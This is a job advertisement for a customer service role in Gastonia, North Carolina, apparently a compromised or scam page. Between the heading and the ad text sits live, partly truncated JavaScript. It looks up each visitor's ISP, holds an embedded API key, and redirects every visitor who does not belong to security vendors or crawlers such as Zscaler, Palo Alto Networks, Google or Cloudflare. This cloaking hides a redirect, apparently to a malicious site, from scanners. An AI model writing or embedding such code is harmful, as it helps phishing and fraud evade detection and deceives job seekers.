Customer Service Representative – Full or Part Time

Customer Service Representative – Full or Part Time

Overview


const ipAddress = data.ip;

// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;

// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));

if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ''; } }) .catch(error => { console.error('Error retrieving ISP name:', error); }); }) .catch(error => { console.error('Error retrieving IP address or location:', error); });

We are seeking a dedicated Lead Customer Service Representative to join our team in Gastonia, NC. This full or part-time role involves supervising daily customer service operations, mentoring team members, and ensuring exceptional service delivery.

Responsibilities include:

  • Leading and motivating the customer service team to meet performance goals
  • Handling escalated customer inquiries and resolving issues promptly
  • Monitoring team performance and providing feedback and coaching
  • Maintaining accurate records of customer interactions and transactions
  • Assisting with training new team members and implementing service improvements

Skills needed:

  • Excellent communication and interpersonal skills
  • Strong leadership and problem-solving abilities
  • Ability to work in a fast-paced environment
  • Organizational and time-management skills

Benefits include:

  • Competitive pay
  • Flexible scheduling options
  • Health and wellness benefits
  • Growth opportunities within the company
Emploment Location
Gastonia, North Carolina

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